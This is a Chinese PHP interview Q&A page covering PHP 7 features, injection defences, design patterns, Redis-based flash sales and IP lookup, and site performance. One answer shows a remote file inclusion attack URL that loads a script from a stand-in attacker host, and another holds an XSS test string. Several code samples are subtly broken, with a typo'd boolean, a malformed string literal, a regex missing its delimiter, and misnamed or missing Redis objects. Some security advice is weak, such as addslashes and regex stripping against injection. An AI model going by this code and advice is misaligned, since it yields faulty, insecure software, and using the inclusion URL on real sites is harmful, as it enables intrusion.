php面試題和答案

字號+ 編輯: 国内TP粉 修訂: 种花家 來源: 微信公众号 2023-09-12 我要說兩句(0)

又來到了面試題階段了, 小夥伴們可以試試。

1.php7新特性

?? 運算符(NULL 合並運算符)

函數返回值類型聲明

標量類型聲明

use 批量聲明

define 可以定義常量數組

閉包( Closure)增加了一個 call 方法,詳細的可以見官網:php7-new-features

2.php7卓越性能背後的優化

減少内存分配次數

多使用棧内存

緩存數組的hash值

字符串解析成桉樹改爲宏展開

使用大塊連續内存代替小塊破碎内存 詳細的可以參考鳥哥的PPT:PHP7性能之源

3.include($_GET['p'])的安全隱患

現在任一個黑客現在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 來獲取你的機密信息,或執行一個PHP腳本。如果allow_url_fopen=On,你更是死定了:試試這個輸入:

http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php

現在你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出。黑客可以發送垃圾郵件,改變密碼,刪除文档等等。只要你能想得到。

4.列出一些防範SQL注入、XSS攻擊、CSRF攻擊的方法

SQL注入:

addslashes函數

mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()

PDO預處理 XSS:htmlspecial函數 CSRF:

驗证HTTP REFER

使用toke進行驗证

5.接口如何安全訪問

jwt或驗证簽名

6.PHP裡有哪些設計模式

  • 單例模式

  • 工廠模式

  • 臉面模式(facade)

  • 注冊器模式

  • 策略模式

  • 原型模式

  • 裝飾器模式

更多的可以看PHP設計模式簡介這篇文章

7.驗证ip是否正確

function check_ip($ip)
{
    if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    return false;
    } else {
        return true;
    }
}

8.驗证日期是否合理

function check_datetime($datetime)
{
    if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {
        return true;
    } else {
        return false;
    }
}

9.寫一個正則表達式,過濾JS腳本(及把script標記及其内容都去掉)

$text = '<script>alert('XSS')</script>';
$pattern = '<script.*>.*<\/script>/i';
$text = preg_replace($pattern, '', $text);

10.下單後30分鍾未支付取消訂單

第一種方案:被動過期+cron,就是用戶查看的時候去數據庫查有沒有支付+定時清理。第二種方案:延遲性任務,到時間檢查訂單是否支付成功,如果沒有支付則取消訂單

11.設計一個秒殺系統

思路:用redis的隊列

$ttl = 4;
$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);
$lock = fasle;
while (!$lock) {
    $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
}
if ($redis->get('goods.num') <= 0) {
    echo ("秒殺已經結束");
    //刪除鎖
    if ($redis->get('lock') == $random) {
        $redis->del('lock');
    }
    return false;
}
$redis->decr('goods.num');
echo ("秒殺成功");
//刪除鎖
if ($redis->get('lock') == $random) {
    $redis->del('lock');
}
return true;

12.請設計一個實現方式,可以給某個ip找到對應的省和市,要求效率盡可能的高

// ip2long,把所有城市的最小和最大Ip錄進去
$redis_key = 'ip';
$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#
$resid->zAdd($redis_key, 30, 'bj');//最大IP
function get_ip_city($ip_address)
{
    $ip = ip2long($ip_address);
    $redis_key = 'ip';
    $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
    if ($city) {
        if (strpos($city[0], "#") === 0) {
            echo '城市不存在!';
        } else {
            echo '城市是' . $city[0];
        }
    } else {
        echo '城市不存在!';
    }
}

13.網頁/應用訪問慢突然變慢,如何定位問題

top、iostat查看cpu、内存及io佔用情況

内核、程序參數設置不合理 查看有沒有報内核錯誤,連接數用戶打開文档數這些有沒有達到上限等等

鏈路本身慢 是否跨運營商、用戶上下行帶寬不夠、dns解析慢、服務器内網廣播風暴什麽的

程序設計不合理 是否程序本身算法設計太差,數據庫語句太過複雜或者剛上線了什麽功能引起的

其它關聯的程序引起的 如果要訪問數據庫,檢查一下是否數據庫訪問慢

是否被攻擊了 查看服務器是否被DDos了等等

硬件故障 這個一般直接服務器就掛了,而不是訪問慢

14.如何設計/優化一個訪問量比較大的部落格/論壇

  • 減少http請求(比如使用雪碧圖)

  • 優化數據庫(範式、SQL語句、索引、配置、讀寫分離)

  • 緩存使用(Memcache、Redis)

  • 負載均衡

  • 動態内容靜態化+CDN

  • 禁止外部盜鏈(refer、圖片添加水印)

  • 控制大文档下載

  • 使用集群

15.如何搭建Composer私有庫

使用satis搭建
相關關鍵字:使用satis搭建Composer私有庫


閲完此文,您的感想如何?
  • 有用

    1

  • 沒用

    2

  • 開心

    1

  • 憤怒

    1

  • 可憐

    1

1.如文章侵犯了您的版權,請發郵件通知本站,該文章將在24小時内刪除;
2.本站標注原創的文章,轉發時煩請注明來源;
3.交流群: 2702237 13835667

相關課文
  • mac開發接入微信公衆號接口返回報錯 cURL error 56: SSLRead() return error -9806

  • PHP的換行符是什麽

  • pecl安裝程序時報錯Array and string offset access syntax with curly braces is no longer supported

  • 由於商家傳入的H5交易參數有誤,該筆交易暫時無法完成,請聯繫商家解決

我要說說
網上賓友點評